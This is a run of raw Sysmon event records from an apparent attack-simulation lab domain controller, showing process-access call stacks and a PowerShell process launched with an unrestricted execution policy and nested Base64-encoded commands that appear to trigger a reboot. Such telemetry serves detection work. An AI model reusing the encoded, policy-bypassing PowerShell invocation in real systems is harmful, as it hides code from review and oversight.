UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBzAGgAdQB0AGQAbwB3AG4AIAAvAHIAIAAvAHQAIAAyACAALwBjACAAIgBSAGUAYgBvAG8AdAAgAGkAbgBpAHQAaQBhAHQAZQBkACAAYgB5ACAAQQBuAHMAaQBiAGwAZQAiAAoASQBmACAAKAAtAG4AbwB0ACAAJAA/ACkAIAB7ACAASQBmACAAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7ACAAZQB4AGkAdAAgACQATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAB9ACAARQBsAHMAZQAgAHsAIABlAHgAaQB0ACAAMQAgAH0AIAB9AA==C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-289B-5F80-7ADD-110000000000}0x11dd7a0HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-289C-5F80-1303-000000007E01}4024C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAHoAQQBHAGcAQQBkAFEAQgAwAEEARwBRAEEAYgB3AEIAMwBBAEcANABBAEkAQQBBAHYAQQBIAEkAQQBJAEEAQQB2AEEASABRAEEASQBBAEEAeQBBAEMAQQBBAEwAdwBCAGoAQQBDAEEAQQBJAGcAQgBTAEEARwBVAEEAWQBnAEIAdgBBAEcAOABBAGQAQQBBAGcAQQBHAGsAQQBiAGcAQgBwAEEASABRAEEAYQBRAEIAaABBAEgAUQBBAFoAUQBCAGsAQQBDAEEAQQBZAGcAQgA1AEEAQwBBAEEAUQBRAEIAdQBBAEgATQBBAGEAUQBCAGkAQQBHAHcAQQBaAFEAQQBpAEEAQQBvAEEAUwBRAEIAbQBBAEMAQQBBAEsAQQBBAHQAQQBHADQAQQBiAHcAQgAwAEEAQwBBAEEASgBBAEEALwBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBTAFEAQgBtAEEAQwBBAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBGAFkAQQBZAFEAQgB5AEEARwBrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBBAGcAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEMAUQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQgA5AEEAQwBBAEEAUgBRAEIAcwBBAEgATQBBAFoAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAE0AUQBBAGcAQQBIADAAQQBJAEEAQgA5AEEAQQA9AD0A 10341000x8000000000000000514Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.221{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-289C-5F80-1303-000000007E01}4024C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000513Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.221{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-289C-5F80-1303-000000007E01}4024C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x8000000000000000512Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.190{A5F018FF-289C-5F80-1303-000000007E01}4024C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_ddoqu1bs.qje.ps12020-10-09 09:08:44.190 10341000x8000000000000000511Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.174{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-289C-5F80-1303-000000007E01}4024C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000510Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.159{A5F018FF-289B-5F80-0F03-000000007E01}42284256C:\Windows\system32\conhost.exe{A5F018FF-289C-5F80-1303-000000007E01}4024C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000509Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.159{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000508Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.159{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000507Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.159{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000506Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.159{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000505Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.159{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000504Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.159{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000503Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.159{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000502Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.159{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000501Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.159{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000500Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.159{A5F018FF-2724-5F80-0500-000000007E01}6402972C:\Windows\system32\csrss.exe{A5F018FF-289C-5F80-1303-000000007E01}4024C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000499Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.159{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000498Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.159{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000497Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.159{A5F018FF-289C-5F80-1203-000000007E01}44884340C:\Windows\system32\cmd.exe{A5F018FF-289C-5F80-1303-000000007E01}4024C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x8000000000000000496Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.160{A5F018FF-289C-5F80-1303-000000007E01}4024C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXEPowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAHoAQQBHAGcAQQBkAFEAQgAwAEEARwBRAEEAYgB3AEIAMwBBAEcANABBAEkAQQBBAHYAQQBIAEkAQQBJAEEAQQB2AEEASABRAEEASQBBAEEAeQBBAEMAQQBBAEwAdwBCAGoAQQBDAEEAQQBJAGcAQgBTAEEARwBVAEEAWQBnAEIAdgBBAEcAOABBAGQAQQBBAGcAQQBHAGsAQQBiAGcAQgBwAEEASABRAEEAYQBRAEIAaABBAEgAUQBBAFoAUQBCAGsAQQBDAEEAQQBZAGcAQgA1AEEAQwBBAEEAUQBRAEIAdQBBAEgATQBBAGEAUQBCAGkAQQBHAHcAQQBaAFEAQQBpAEEAQQBvAEEAUwBRAEIAbQBBAEMAQQBBAEsAQQBBAHQAQQBHADQAQQBiAHcAQgAwAEEAQwBBAEEASgBBAEEALwBBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBTAFEAQgBtAEEAQwBBAEEASwBBAEIASABBAEcAVQBBAGQAQQBBAHQAQQBGAFkAQQBZAFEAQgB5AEEARwBrAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBBAGcAQQBFAHcAQQBRAFEAQgBUAEEARgBRAEEAUgBRAEIAWQBBAEUAawBBAFYAQQBCAEQAQQBFADgAQQBSAEEAQgBGAEEAQwBBAEEATABRAEIARgBBAEgASQBBAGMAZwBCAHYAQQBIAEkAQQBRAFEAQgBqAEEASABRAEEAYQBRAEIAdgBBAEcANABBAEkAQQBCAFQAQQBHAGsAQQBiAEEAQgBsAEEARwA0AEEAZABBAEIAcwBBAEgAawBBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBwAEEARwA0AEEAZABRAEIAbABBAEMAawBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEMAUQBBAFQAQQBCAEIAQQBGAE0AQQBWAEEAQgBGAEEARgBnAEEAUwBRAEIAVQBBAEUATQBBAFQAdwBCAEUAQQBFAFUAQQBJAEEAQgA5AEEAQwBBAEEAUgBRAEIAcwBBAEgATQBBAFoAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAE0AUQBBAGcAQQBIADAAQQBJAEEAQgA5AEEAQQA9AD0AC:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-289B-5F80-7ADD-110000000000}0x11dd7a0HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-289C-5F80-1203-000000007E01}4488C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand 